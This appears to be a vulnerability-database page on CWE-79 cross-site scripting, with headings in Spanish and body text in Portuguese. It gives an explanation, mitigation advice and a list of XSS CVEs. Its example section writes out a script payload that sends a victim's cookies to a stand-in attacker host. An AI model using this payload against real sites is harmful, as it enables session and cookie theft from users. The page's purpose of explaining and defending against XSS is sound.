Fallos del tipo CWE-79

30.223 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-30579HIGHWordPress Pesapal Gateway for Woocommerce plugin <= 2.1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-25596MEDIUMWordPress Doofinder for WooCommerce plugin <= 2.1.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-2579MEDIUMLottie Player <= 1.1.8 - Authenticated (Author+) Stored Cross-Site Scripting via File UploadEPSS 0.3%CVE-2023-23702MEDIUMWordPress Comments Ratings Plugin <= 1.1.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-35764MEDIUMWordPress Church Admin plugin <= 4.4.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24746MEDIUMWordPress Popup Maker plugin <= 1.20.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-24841MEDIUMWordPress Add Customer for WooCommerce Plugin <= 1.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-30214MEDIUMCross-Site Scripting (XSS) vulnerability in SAP Business ConnectorEPSS 0.3%CVE-2024-30215MEDIUMCross-Site Scripting (XSS) vulnerability in SAP Business ConnectorEPSS 0.3%CVE-2026-21311HIGHAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2025-3832MEDIUMFuseDesk <= 6.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via successredirect ParameterEPSS 0.3%CVE-2026-116797HIGHHighcharts Grid Pro: cell-renderer `attributes` map written with raw `setAttribute`EPSS 0.3%CVE-2024-40875MEDIUMCross-site scripting vulnerability in the Secure Access administrative console prior to 13.52EPSS 0.3%CVE-2025-46173MEDIUMcode-projects Online Exam Mastering System 1.0 is vulnerable to Cross Site Scripting (XSS) via the name field in the feedback form.EPSS 0.3%CVE-2024-32745MEDIUMA cross-site scripting (XSS) vulnerability in the Settings section of WonderCMS v3.4.3 allows attackers to execute arbitrary web scripts or EPSS 0.3%CVE-2025-8510MEDIUMPortabilis i-Educar educar_matricula_lst.php Gerar cross site scriptingEPSS 0.3%CVE-2026-2502MEDIUMxmlrpc attacks blocker <= 1.0 - Unauthenticated Stored Cross-Site Scripting via 'X-Forwarded-For'EPSS 0.3%CVE-2024-7599MEDIUMAdvanced Sermons <= 3.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-22161MEDIUMWordPress HD Quiz Plugin <= 1.8.11 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2026-55437MEDIUMCoder vulnerable to stored HTML injection via workspace agent logs in AgentLogLine componentEPSS 0.3%